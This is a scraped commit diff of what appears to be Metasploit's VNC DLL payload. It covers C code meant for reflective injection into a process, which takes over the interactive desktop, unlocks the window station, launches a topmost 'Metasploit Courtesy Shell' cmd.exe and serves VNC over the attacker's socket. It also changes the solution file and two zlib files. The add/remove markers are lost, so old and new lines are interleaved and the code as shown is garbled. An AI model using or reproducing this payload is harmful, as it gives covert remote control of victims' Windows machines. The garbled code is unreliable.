if( !WaitNamedPipe( cNamedPipe, 20000 ) )
|
||||
BREAK_ON_ERROR( "[VNCDLL] vncdll_postmessage. WaitNamedPipe timedout" );
|
||||
}
|
||||
|
||||
if( ws != NULL )
|
||||
if( dwResult == ERROR_SUCCESS )
|
||||
{
|
||||
if( !SetProcessWindowStation( ws ) )
|
||||
ws = NULL;
|
||||
else
|
||||
CloseWindowStation( os );
|
||||
if( !WriteFile( hPipe, pBuffer, dwLength, &dwWritten, NULL ) )
|
||||
BREAK_ON_ERROR( "[VNCDLL] vncdll_postmessage. WriteFile dwMessage length failed" );
|
||||
}
|
||||
|
||||
ds = OpenInputDesktop( NULL, TRUE, MAXIMUM_ALLOWED );
|
||||
if( ws && ds == NULL )
|
||||
CloseHandle( ws );
|
||||
} while( 0 );
|
||||
|
||||
if( ds && ! SwitchDesktop( ds ) )
|
||||
{
|
||||
CloseHandle( ws );
|
||||
CloseHandle( ds );
|
||||
}
|
||||
CLOSE_HANDLE( hPipe );
|
||||
|
||||
SetThreadDesktop( ds );
|
||||
if( pBuffer )
|
||||
free( pBuffer );
|
||||
|
||||
return ds;
|
||||
ReleaseMutex( hMessageMutex );
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
/*
|
||||
* Entry Point.
|
||||
*
|
||||
*/
|
||||
DWORD Init( SOCKET socket )
|
||||
VOID vncdll_unlockwindowstation( VOID )
|
||||
{
|
||||
VSocketSystem * socksys = NULL;
|
||||
vncServer * server = NULL;
|
||||
VSocket * sock = NULL;
|
||||
HMODULE hUser32 = NULL;
|
||||
HDESK desk = NULL;
|
||||
BYTE bFlags = 0;
|
||||
|
||||
hTerminateEvent = CreateEvent( NULL, TRUE, FALSE, NULL );
|
||||
|
||||
recv( socket, (PCHAR)&bFlags, 1, 0 );
|
||||
|
||||
desk = get_input_desktop();
|
||||
|
||||
hUser32 = LoadLibrary( "user32.dll" );
|
||||
HMODULE hUser32 = LoadLibrary( "user32.dll" );
|
||||
if( hUser32 )
|
||||
{
|
||||
typedef BOOL (WINAPI * UNLOCKWINDOWSTATION)( HWINSTA );
|
||||
|
@ -95,14 +99,68 @@ DWORD Init( SOCKET socket )
|
|||
|
||||
FreeLibrary( hUser32 );
|
||||
}
|
||||
}
|
||||
|
||||
if( ( bFlags & VNCDLL_FLAG_DISABLE_SHELL) == 0 )
|
||||
/*
|
||||
* Switch to the input desktop and set it as this threads desktop.
|
||||
*/
|
||||
HDESK vncdll_getinputdesktop( BOOL bSwitchStation )
|
||||
{
|
||||
STARTUPINFOA si;
|
||||
PROCESS_INFORMATION pi;
|
||||
char name_win[256];
|
||||
char name_des[256];
|
||||
char name_all[1024];
|
||||
DWORD dwResult = ERROR_ACCESS_DENIED;
|
||||
HWINSTA hWindowStation = NULL;
|
||||
HDESK hInputDesktop = NULL;
|
||||
HWND hDesktopWnd = NULL;
|
||||
|
||||
do
|
||||
{
|
||||
if( bSwitchStation )
|
||||
{
|
||||
// open the WinSta0 as some services are attached to a different window station.
|
||||
hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS );
|
||||
if( !hWindowStation )
|
||||
{
|
||||
if( RevertToSelf() )
|
||||
hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS );
|
||||
}
|
||||
|
||||
// if we cant open the defaut input station we wont be able to take a screenshot
|
||||
if( !hWindowStation )
|
||||
BREAK_WITH_ERROR( "[VNCDLL] vncdll_getinputdesktop: Couldnt get the WinSta0 Window Station", ERROR_INVALID_HANDLE );
|
||||
|
||||
// set the host process's window station to this sessions default input station we opened
|
||||
if( !SetProcessWindowStation( hWindowStation ) )
|
||||
BREAK_ON_ERROR( "[VNCDLL] vncdll_getinputdesktop: SetProcessWindowStation failed" );
|
||||
}
|
||||
|
||||
// grab a handle to the default input desktop (e.g. Default or WinLogon)
|
||||
hInputDesktop = OpenInputDesktop( 0, FALSE, MAXIMUM_ALLOWED );
|
||||
if( !hInputDesktop )
|
||||
BREAK_ON_ERROR( "[VNCDLL] vncdll_getinputdesktop: OpenInputDesktop failed" );
|
||||
|
||||
// set this threads desktop to that of this sessions default input desktop on WinSta0
|
||||
SetThreadDesktop( hInputDesktop );
|
||||
|
||||
} while( 0 );
|
||||
|
||||
return hInputDesktop;
|
||||
}
|
||||
|
||||
/*
|
||||
* Create the Metasploit Courtesy Shell
|
||||
*/
|
||||
VOID vncdll_courtesyshell( HDESK desk )
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
HWND hShell = NULL;
|
||||
STARTUPINFOA si = {0};
|
||||
PROCESS_INFORMATION pi = {0};
|
||||
char name_win[256] = {0};
|
||||
char name_des[256] = {0};
|
||||
char name_all[1024] = {0};
|
||||
|
||||
do
|
||||
{
|
||||
dprintf( "[VNCDLL] vncdll_courtesyshell. desk=0x%08X", desk );
|
||||
|
||||
memset(name_all, 0, sizeof(name_all));
|
||||
|
||||
|
@ -111,43 +169,196 @@ DWORD Init( SOCKET socket )
|
|||
|
||||
_snprintf( name_all, sizeof(name_all)-1, "%s\\%s", name_win, name_des );
|
||||
|
||||
memset(&pi, 0, sizeof(pi));
|
||||
memset(&si, 0, sizeof(si));
|
||||
si.cb = sizeof(si);
|
||||
memset( &pi, 0, sizeof(PROCESS_INFORMATION) );
|
||||
memset( &si, 0, sizeof(STARTUPINFOA) );
|
||||
|
||||
si.cb = sizeof(STARTUPINFOA);
|
||||
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USEFILLATTRIBUTE;
|
||||
si.wShowWindow = SW_NORMAL;
|
||||
si.lpDesktop = name_all;
|
||||
si.lpTitle = "Metasploit Courtesy Shell (TM)";
|
||||
si.dwFillAttribute = FOREGROUND_RED|FOREGROUND_BLUE|FOREGROUND_GREEN|BACKGROUND_BLUE;
|
||||
|
||||
CreateProcess(NULL, "cmd.exe", 0, 0, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
|
||||
if( !CreateProcess( NULL, "cmd.exe", 0, 0, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi ) )
|
||||
BREAK_ON_ERROR( "[VNCDLL] vncdll_courtesyshell. CreateProcess failed" );
|
||||
|
||||
CloseHandle( pi.hThread );
|
||||
CloseHandle( pi.hProcess );
|
||||
|
||||
Sleep( 1000 );
|
||||
|
||||
HWND shell = FindWindow( NULL, "Metasploit Courtesy Shell (TM)" );
|
||||
if( shell )
|
||||
SetWindowPos( shell, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE|SWP_NOSIZE );
|
||||
hShell = FindWindow( NULL, "Metasploit Courtesy Shell (TM)" );
|
||||
if( !hShell )
|
||||
break;
|
||||
|
||||
SetWindowPos( hShell, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE|SWP_NOSIZE );
|
||||
|
||||
} while( 0 );
|
||||
}
|
||||
|
||||
SetProcessShutdownParameters( 0x100, 0 );
|
||||
/*
|
||||
* Create and run a VNC server on this socket.
|
||||
*/
|
||||
DWORD vncdll_run( AGENT_CTX * lpAgentContext )
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
VSocketSystem * vsocketsystem = NULL;
|
||||
vncServer * vserver = NULL;
|
||||
HDESK desk = NULL;
|
||||
WSADATA WSAData = {0};
|
||||
SOCKET sock = 0;
|
||||
BYTE bFlags = 0;
|
||||
|
||||
socksys = new VSocketSystem();
|
||||
if( !socksys->Initialised() )
|
||||
return 0;
|
||||
do
|
||||
{
|
||||
dprintf( "[VNCDLL] vncdll_run. Started..." );
|
||||
|
||||
server = new vncServer();
|
||||
if( !lpAgentContext )
|
||||
BREAK_WITH_ERROR( "[VNCDLL] vncdll_run. invalid parameters", ERROR_INVALID_PARAMETER );
|
||||
|
||||
sock = new VSocket( socket );
|
||||
hMessageMutex = CreateMutex( NULL, FALSE, NULL );
|
||||
|
||||
server->AddClient( sock, FALSE, FALSE );
|
||||
desk = vncdll_getinputdesktop( TRUE );
|
||||
|
||||
WaitForSingleObjectEx( hTerminateEvent, INFINITE, FALSE );
|
||||
vncdll_unlockwindowstation();
|
||||
|
||||
delete server;
|
||||
if( !lpAgentContext->bDisableCourtesyShell )
|
||||
vncdll_courtesyshell( desk );
|
||||
|
||||
delete socksys;
|
||||
vsocketsystem = new VSocketSystem();
|
||||
if( !vsocketsystem->Initialised() )
|
||||
BREAK_WITH_ERROR( "[VNCDLL] vncdll_run. VSocketSystem Initialised failed", ERROR_NETWORK_ACCESS_DENIED );
|
||||
|
||||
vserver = new vncServer();
|
||||
|
||||
vncClientId cid = vserver->AddClient( lpAgentContext );
|
||||
|
||||
dprintf( "[VNCDLL-0x%08X] vncdll_run. Going into wait state... cid=%d", hAppInstance, cid );
|
||||
|
||||
WaitForSingleObject( lpAgentContext->hCloseEvent, INFINITE );
|
||||
|
||||
vserver->RemoveClient( cid );
|
||||
|
||||
} while( 0 );
|
||||
|
||||
dprintf( "[VNCDLL-0x%08X] vncdll_run. terminating...", hAppInstance );
|
||||
|
||||
delete vserver;
|
||||
|
||||
delete vsocketsystem;
|
||||
|
||||
CLOSE_HANDLE( hMessageMutex );
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*
|
||||
* Grab a DWORD value out of the command line.
|
||||
* e.g. vncdll_command_dword( "/FOO:0x41414141 /BAR:0xCAFEF00D", "/FOO:" ) == 0x41414141
|
||||
*/
|
||||
DWORD vncdll_command_dword( char * cpCommandLine, char * cpCommand )
|
||||
{
|
||||
char * cpString = NULL;
|
||||
DWORD dwResult = 0;
|
||||
|
||||
do
|
||||
{
|
||||
if( !cpCommandLine || !cpCommand )
|
||||
break;
|
||||
|
||||
cpString = strstr( cpCommandLine, cpCommand );
|
||||
if( !cpString )
|
||||
break;
|
||||
|
||||
cpString += strlen( cpCommand );
|
||||
|
||||
dwResult = strtoul( cpString, NULL, 0 );
|
||||
|
||||
} while( 0 );
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
/*
|
||||
* The real entrypoint for this app.
|
||||
*/
|
||||
VOID vncdll_main( char * cpCommandLine )
|
||||
{
|
||||
DWORD dwResult = ERROR_INVALID_PARAMETER;
|
||||
|
||||
__try
|
||||
{
|
||||
do
|
||||
{
|
||||
dprintf( "[VNCDLL] vncdll_main. cpCommandLine=0x%08X", (DWORD)cpCommandLine );
|
||||
|
||||
if( !cpCommandLine )
|
||||
break;
|
||||
|
||||
if( strlen( cpCommandLine ) == 0 )
|
||||
break;
|
||||
|
||||
dprintf( "[VNCDLL] vncdll_main. lpCmdLine=%s", cpCommandLine );
|
||||
|
||||
if( strstr( cpCommandLine, "/v" ) )
|
||||
{
|
||||
AGENT_CTX * lpAgentContext = NULL;
|
||||
|
||||
lpAgentContext = (AGENT_CTX *)vncdll_command_dword( cpCommandLine, "/c:" );
|
||||
|
||||
dwResult = vncdll_run( lpAgentContext );
|
||||
|
||||
if( lpAgentContext )
|
||||
{
|
||||
int i = 0;
|
||||
if( lpAgentContext->hCloseEvent )
|
||||
CloseHandle( lpAgentContext->hCloseEvent );
|
||||
/*for( i=0 ; i<4 ; i++ )
|
||||
{
|
||||
if( lpAgentContext->dictionaries[i] )
|
||||
{
|
||||
int size = ( sizeof(DICTMSG) + lpAgentContext->dictionaries[i]->dwDictLength );
|
||||
memset( lpAgentContext->dictionaries[i], 0, size );
|
||||
VirtualFree( lpAgentContext->dictionaries[i], 0, MEM_RELEASE );
|
||||
}
|
||||
}*/
|
||||
memset( lpAgentContext, 0, sizeof(AGENT_CTX) );
|
||||
VirtualFree( lpAgentContext, 0, MEM_RELEASE );
|
||||
}
|
||||
}
|
||||
|
||||
} while( 0 );
|
||||
}
|
||||
__except( EXCEPTION_EXECUTE_HANDLER )
|
||||
{
|
||||
dprintf( "[VNCDLL] vncdll_main. EXCEPTION_EXECUTE_HANDLER" );
|
||||
dwResult = ERROR_UNHANDLED_EXCEPTION;
|
||||
}
|
||||
|
||||
dprintf( "[VNCDLL=0x%08X] vncdll_main. ExitThread dwResult=%d\n\n", hAppInstance, dwResult );
|
||||
|
||||
ExitThread( dwResult );
|
||||
}
|
||||
|
||||
/*
|
||||
* DLL entry point. If we have been injected via RDI, lpReserved will be our command line.
|
||||
*/
|
||||
BOOL WINAPI DllMain( HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved )
|
||||
{
|
||||
BOOL bReturnValue = TRUE;
|
||||
|
||||
switch( dwReason )
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hInstance;
|
||||
if( lpReserved != NULL )
|
||||
vncdll_main( (char *)lpReserved );
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
|
||||
return bReturnValue;
|
||||
}
|
||||
|
|
|
@ -1,21 +1,12 @@
|
|||
Microsoft Visual Studio Solution File, Format Version 10.00
|
||||
# Visual C++ Express 2008
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "WinVNC", "WinVNC.vcproj", "{EA6A09AC-04BB-423D-8842-CA48DF901058}"
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "winvnc", "WinVNC.vcproj", "{EA6A09AC-04BB-423D-8842-CA48DF901058}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "loader", "..\loader\loader.vcproj", "{B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}"
|
||||
ProjectSection(ProjectDependencies) = postProject
|
||||
{72F0246A-A38D-4547-9057-46020E8E503D} = {72F0246A-A38D-4547-9057-46020E8E503D}
|
||||
{224A4BAC-DEDE-43A4-81B9-14545F16E20E} = {224A4BAC-DEDE-43A4-81B9-14545F16E20E}
|
||||
{2D948CAF-9622-495C-AB44-6337A6A9D440} = {2D948CAF-9622-495C-AB44-6337A6A9D440}
|
||||
{A44055F1-6AAA-4F72-8939-C5C294CE6EEE} = {A44055F1-6AAA-4F72-8939-C5C294CE6EEE}
|
||||
{EA6A09AC-04BB-423D-8842-CA48DF901058} = {EA6A09AC-04BB-423D-8842-CA48DF901058}
|
||||
EndProjectSection
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libjpeg", "libjpeg\libjpeg.vcproj", "{224A4BAC-DEDE-43A4-81B9-14545F16E20E}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "omnithread", "omnithread\omnithread.vcproj", "{2D948CAF-9622-495C-AB44-6337A6A9D440}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "zlib", "zlib\zlib.vcproj", "{A44055F1-6AAA-4F72-8939-C5C294CE6EEE}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ReflectiveDLLInjection", "..\..\meterpreter\workspace\ReflectiveDLLInjection\ReflectiveDLLInjection.vcproj", "{72F0246A-A38D-4547-9057-46020E8E503D}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Win32 = Debug|Win32
|
||||
|
@ -31,35 +22,12 @@ Global
|
|||
{EA6A09AC-04BB-423D-8842-CA48DF901058}.Release|Win32.Build.0 = Release|Win32
|
||||
{EA6A09AC-04BB-423D-8842-CA48DF901058}.Release|x64.ActiveCfg = Release|x64
|
||||
{EA6A09AC-04BB-423D-8842-CA48DF901058}.Release|x64.Build.0 = Release|x64
|
||||
{224A4BAC-DEDE-43A4-81B9-14545F16E20E}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{224A4BAC-DEDE-43A4-81B9-14545F16E20E}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{224A4BAC-DEDE-43A4-81B9-14545F16E20E}.Debug|x64.ActiveCfg = Debug|Win32
|
||||
{224A4BAC-DEDE-43A4-81B9-14545F16E20E}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{224A4BAC-DEDE-43A4-81B9-14545F16E20E}.Release|Win32.Build.0 = Release|Win32
|
||||
{224A4BAC-DEDE-43A4-81B9-14545F16E20E}.Release|x64.ActiveCfg = Release|x64
|
||||
{224A4BAC-DEDE-43A4-81B9-14545F16E20E}.Release|x64.Build.0 = Release|x64
|
||||
{2D948CAF-9622-495C-AB44-6337A6A9D440}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{2D948CAF-9622-495C-AB44-6337A6A9D440}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{2D948CAF-9622-495C-AB44-6337A6A9D440}.Debug|x64.ActiveCfg = Debug|Win32
|
||||
{2D948CAF-9622-495C-AB44-6337A6A9D440}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{2D948CAF-9622-495C-AB44-6337A6A9D440}.Release|Win32.Build.0 = Release|Win32
|
||||
{2D948CAF-9622-495C-AB44-6337A6A9D440}.Release|x64.ActiveCfg = Release|x64
|
||||
{2D948CAF-9622-495C-AB44-6337A6A9D440}.Release|x64.Build.0 = Release|x64
|
||||
{A44055F1-6AAA-4F72-8939-C5C294CE6EEE}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{A44055F1-6AAA-4F72-8939-C5C294CE6EEE}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{A44055F1-6AAA-4F72-8939-C5C294CE6EEE}.Debug|x64.ActiveCfg = Debug|Win32
|
||||
{A44055F1-6AAA-4F72-8939-C5C294CE6EEE}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{A44055F1-6AAA-4F72-8939-C5C294CE6EEE}.Release|Win32.Build.0 = Release|Win32
|
||||
{A44055F1-6AAA-4F72-8939-C5C294CE6EEE}.Release|x64.ActiveCfg = Release|x64
|
||||
{A44055F1-6AAA-4F72-8939-C5C294CE6EEE}.Release|x64.Build.0 = Release|x64
|
||||
{72F0246A-A38D-4547-9057-46020E8E503D}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{72F0246A-A38D-4547-9057-46020E8E503D}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{72F0246A-A38D-4547-9057-46020E8E503D}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{72F0246A-A38D-4547-9057-46020E8E503D}.Debug|x64.Build.0 = Debug|x64
|
||||
{72F0246A-A38D-4547-9057-46020E8E503D}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{72F0246A-A38D-4547-9057-46020E8E503D}.Release|Win32.Build.0 = Release|Win32
|
||||
{72F0246A-A38D-4547-9057-46020E8E503D}.Release|x64.ActiveCfg = Release|x64
|
||||
{72F0246A-A38D-4547-9057-46020E8E503D}.Release|x64.Build.0 = Release|x64
|
||||
{B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}.Debug|x64.ActiveCfg = Debug|Win32
|
||||
{B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}.Release|Win32.Build.0 = Release|Win32
|
||||
{B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}.Release|x64.ActiveCfg = Release|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
|
|
|
@ -286,7 +286,39 @@ int ZEXPORT deflateInit2_(strm, level, method, windowBits, memLevel, strategy,
|
|||
|
||||
return deflateReset(strm);
|
||||
}
|
||||
/* ========================================================================= */
|
||||
/*
|
||||
void getdictionary( z_streamp strm, unsigned char ** address, unsigned long * size )
|
||||
{
|
||||
do
|
||||
{
|
||||
deflate_state * state = strm->state;
|
||||
if( !state || !address || !size )
|
||||
break;
|
||||
|
||||
*address = state->window;
|
||||
|
||||
*size = state->window_size;
|
||||
|
||||
} while( 0 );
|
||||
}
|
||||
|
||||
void setdictionary( z_streamp strm, unsigned char * address, unsigned long size )
|
||||
{
|
||||
do
|
||||
{
|
||||
deflate_state * state = strm->state;
|
||||
if( !state || !address || !size )
|
||||
break;
|
||||
|
||||
if( state->window )
|
||||
free( state->window );
|
||||
|
||||
state->window = address;
|
||||
state->window_size = size;
|
||||
|
||||
} while( 0 );
|
||||
}*/
|
||||
/* ========================================================================= */
|
||||
int ZEXPORT deflateSetDictionary (strm, dictionary, dictLength)
|
||||
z_streamp strm;
|
||||
|
|
|
@ -853,6 +853,8 @@ ZEXTERN uLong ZEXPORT crc32 OF((uLong crc, const Bytef *buf, uInt len));
|
|||
|
||||
|
||||
/* various hacks, don't look :) */
|
||||
ZEXTERN void ZEXPORT getdictionary( z_streamp strm, unsigned char ** address, unsigned long * size );
|
||||
ZEXTERN void ZEXPORT setdictionary( z_streamp strm, unsigned char * address, unsigned long size );
|
||||
|
||||
/* deflateInit and inflateInit are macros to allow checking the zlib version
|
||||
* and the compiler's view of z_stream:
|
||||
|
|
|
@ -301,111 +301,11 @@
|
|||
Name="Source Files"
|
||||
Filter="cpp;c;cxx;rc;def;r;odl;idl;hpj;bat"
|
||||
>
|
||||
<File
|
||||
RelativePath=".\adler32.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\compress.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\crc32.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\deflate.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\infblock.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\infcodes.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\inffast.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\inflate.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\inftrees.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\infutil.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\maketree.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\trees.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\uncompr.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\zutil.c"
|
||||
>
|
||||
</File>
|
||||
</Filter>
|
||||
<Filter
|
||||
Name="Header Files"
|
||||
Filter="h;hpp;hxx;hm;inl"
|
||||
>
|
||||
<File
|
||||
RelativePath=".\deflate.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\infblock.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\infcodes.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\inffast.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\inffixed.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\inftrees.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\infutil.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\trees.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\zconf.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\zlib.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\zutil.h"
|
||||
>
|
||||
</File>
|
||||
</Filter>
|
||||
</Files>
|
||||
<Globals>
|
||||
|
|
Loading…
Reference in New Issue